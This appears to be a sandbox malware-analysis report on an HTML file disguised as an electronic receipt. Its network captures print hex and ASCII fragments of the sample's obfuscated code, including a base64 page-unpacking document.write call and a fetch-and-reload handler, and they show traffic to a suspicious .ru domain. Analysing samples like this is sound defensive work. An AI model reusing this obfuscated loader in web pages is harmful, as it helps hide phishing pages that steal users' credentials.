dGhlIGNvbW1vbiB0aGluZyB1bmNvbW1vbmx5IHdlbGwuIC0tPgo8L2Rpdj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjwhLS0gVGhlIHN1Y2Nlc3NmdWwgd2FycmlvciBpcyB0aGUgYXZlcmFnZSBtYW4sIHdpdGggbGFzZXItbGlrZSBmb2N1cy4gLS0+CjxzY3JpcHQ+DQp0dXJuc3RpbGUucmVuZGVyKCcjY2YnLCB7DQo
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 6d 46 30 53 31 4a 77 53 6b 52 73 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a 33 4e 30 59 58 52 31 63 79 64 64 49 44 30 39 49 43 64 7a 64 57 4e 6a 5a 58 4e 7a 4a 79 6c 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 78 76 59 32 46 30 61 57 39 75 4c 6e 4a 6c 62 47 39 68 5a 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 Data Ascii: mF0S1JwSkRsKQ0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgIGlmKGRhdGFbJ3N0YXR1cyddID09ICdzdWNjZXNzJyl7DQogICAgICAgIGxvY2F0aW9uLnJlbG9hZCgpOw0KICAgICAgICB9DQogICAgICAgIGlmKGRhdGFb
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 56 63 43 53 51 5a 6a 69 2e 70 61 74 68 6e 61 6d 65 20 3d 20 6c 61 56 63 43 53 51 5a 6a 69 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 4d 6c 46 6b 6d 70 75 75 6e 68 20 3d 20 6c 61 56 63 43 53 51 5a 6a 69 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 4d 6c 46 6b 6d 70 75 75 6e 68 20 3d 3d 20 69 79 42 6c 69 74 74 6a 67 59 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 6a 77 68 4c 53 30 67 50 47 52 70 64 6a 35 55 61 47 Data Ascii: VcCSQZji.pathname = laVcCSQZji.pathname.slice(0, -1);}const MlFkmpuunh = laVcCSQZji.pathname+'/';if(MlFkmpuunh == iyBlittjgY){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCjwhLS0gPGRpdj5UaG
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 65 6d 55 36 4d 53 34 31 63 6d 56 74 4f 33 30 4e 43 6e 30 4e 43 69 4e 4a 54 32 6c 72 54 48 68 6a 64 47 70 46 49 48 42 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 77 4f 32 31 68 63 6d 64 70 62 69 31 69 62 33 52 30 62 32 30 36 4d 58 4a 6c 62 54 74 39 44 51 6f 6a 53 55 39 70 61 30 78 34 59 33 52 71 52 53 35 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 64 32 6c 6b 64 47 67 36 49 44 45 77 4d 43 55 37 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c Data Ascii: emU6MS41cmVtO30NCn0NCiNJT2lrTHhjdGpFIHB7bWFyZ2luLXRvcDowO21hcmdpbi1ib3R0b206MXJlbTt9DQojSU9pa0x4Y3RqRS5jb250YWluZXJ7d2lkdGg6IDEwMCU7cGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcml
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 6a 62 32 78 76 63 6a 6f 67 49 32 5a 6d 5a 6a 74 6a 62 32 78 76 63 6a 6f 67 49 7a 41 77 4d 44 74 77 59 57 52 6b 61 57 35 6e 4f 69 41 79 4d 48 42 34 4f 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 67 4d 54 68 77 65 44 74 76 64 6d 56 79 63 32 4e 79 62 32 78 73 4c 57 4a 6c 61 47 46 32 61 57 39 79 4f 69 42 6a 62 32 35 30 59 57 6c 75 4f 79 49 2b 44 51 6f 38 49 53 30 74 49 44 78 6b 61 58 59 2b 55 33 52 76 63 43 42 6a 61 47 46 7a 61 57 35 6e 49 48 52 6f 5a 53 42 74 62 32 35 6c 65 53 42 68 62 6d 51 67 63 33 52 68 63 6e 51 67 59 32 68 68 63 32 6c 75 5a 79 42 30 61 47 55 67 63 47 46 7a 63 32 6c 76 62 69 34 38 4c 32 52 70 64 6a 34 67 4c 53 30 2b 43 6a 78 6b 61 58 59 67 61 57 51 39 49 6b 6c 50 61 57 74 4d 65 47 4e 30 61 6b 55 69 Data Ascii: mFja2dyb3VuZC1jb2xvcjogI2ZmZjtjb2xvcjogIzAwMDtwYWRkaW5nOiAyMHB4O2ZvbnQtc2l6ZTogMThweDtvdmVyc2Nyb2xsLWJlaGF2aW9yOiBjb250YWluOyI+DQo8IS0tIDxkaXY+U3RvcCBjaGFzaW5nIHRoZSBtb25leSBhbmQgc3RhcnQgY2hhc2luZyB0aGUgcGFzc2lvbi48L2Rpdj4gLS0+CjxkaXYgaWQ9IklPaWtMeGN0akUi
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 34 67 63 32 56 6a 64 58 4a 6c 4c 67 30 4b 50 43 45 74 4c 53 42 55 61 47 55 67 63 32 56 6a 63 6d 56 30 49 47 39 6d 49 48 4e 31 59 32 4e 6c 63 33 4d 67 61 58 4d 67 64 47 38 67 5a 47 38 67 64 47 68 6c 49 47 4e 76 62 57 31 76 62 69 42 30 61 47 6c 75 5a 79 42 31 62 6d 4e 76 62 57 31 76 62 6d 78 35 49 48 64 6c 62 47 77 75 49 43 30 74 50 67 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 68 4c 53 30 67 56 47 68 6c 49 48 4e 31 59 32 4e 6c 63 33 4e 6d 64 57 77 67 64 32 46 79 63 6d 6c 76 63 69 42 70 63 79 42 30 61 47 55 67 59 58 5a 6c 63 6d 46 6e 5a 53 42 74 59 57 34 73 49 48 64 70 64 47 67 67 62 47 46 7a 5a 58 49 74 62 47 6c 72 5a 53 42 6d 62 Data Ascii: 4gc2VjdXJlLg0KPCEtLSBUaGUgc2VjcmV0IG9mIHN1Y2Nlc3MgaXMgdG8gZG8gdGhlIGNvbW1vbiB0aGluZyB1bmNvbW1vbmx5IHdlbGwuIC0tPgo8L2Rpdj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjwhLS0gVGhlIHN1Y2Nlc3NmdWwgd2FycmlvciBpcyB0aGUgYXZlcmFnZSBtYW4sIHdpdGggbGFzZXItbGlrZSBmb

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-30 17:20:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=257073 Date: Mon, 30 Sep 2024 17:20:23 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:24 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hfj.rontishet.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:24 UTC	926	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 328326 Expires: Sat, 20 Sep 2025 17:20:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1n40D86t2Z7Vkt5oFuHhfDW%2BJbxcmbt0KQ1QgHbjwn5VnyskQpv36cskEg6tk8dwOxLJBQwRkWIFtb7JAFS89g9Id67srfZYH69q5gW140bMUW7aZeAwDyzSu4%2FMFmjNmHIfdBPa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cb5e228a81043ef-EWR
2024-09-30 17:20:24 UTC	443	IN	Data Raw: 37 63 30 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7c01!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 Data Ascii: lobalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototy
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 28 34 29 2e 72 65 61 64 Data Ascii: rds.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).read
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 2c 61 29 3b 65 Data Ascii: .concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 35 5d 3d 65 5b 35 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 34 Data Ascii: ++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|0,e[5]=e[5]+886263092+(e[4
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 33 5d 3d 49 5b 33 5d 2b 28 49 5b 32 5d 3c 3c 38 7c 49 5b 32 5d Data Ascii: n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)\|0,t[3]=I[3]+(I[2]<<8\|I[2]
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 2e Data Ascii: stanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=t.
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 Data Ascii: exOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 73 3d 74 5b 65 2b 30 5d 2c 63 3d 74 5b 65 2b 31 5d 2c 61 Data Ascii: ({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1],a
2024-09-30 17:20:24 UTC	1369	IN	Data Raw: 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 28 62 2c 78 2c 53 2c 6d 2c 66 2c 32 31 2c 41 5b 35 31 5d 29 2c 6d 3d 44 Data Ascii: b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m=D

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Electronic_Receipt_ATT0001.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 1000

Chrome Cache Entry: 1001

Chrome Cache Entry: 1002

Chrome Cache Entry: 1003

Chrome Cache Entry: 1004

Chrome Cache Entry: 1005

Chrome Cache Entry: 1006

Chrome Cache Entry: 1007

Chrome Cache Entry: 1008

Chrome Cache Entry: 1009

Chrome Cache Entry: 1010

Chrome Cache Entry: 1011

Chrome Cache Entry: 1012

Chrome Cache Entry: 1013

Chrome Cache Entry: 1014

Chrome Cache Entry: 1015

Chrome Cache Entry: 1016

Chrome Cache Entry: 1017

Chrome Cache Entry: 1018

Chrome Cache Entry: 1019

Chrome Cache Entry: 1020

Chrome Cache Entry: 1021

Chrome Cache Entry: 1022

Chrome Cache Entry: 1023

Chrome Cache Entry: 1024

Chrome Cache Entry: 1025

Chrome Cache Entry: 1026

Chrome Cache Entry: 1027

Windows Analysis Report
Electronic_Receipt_ATT0001.htm

Timestamp	Bytes transferred	Direction	Data
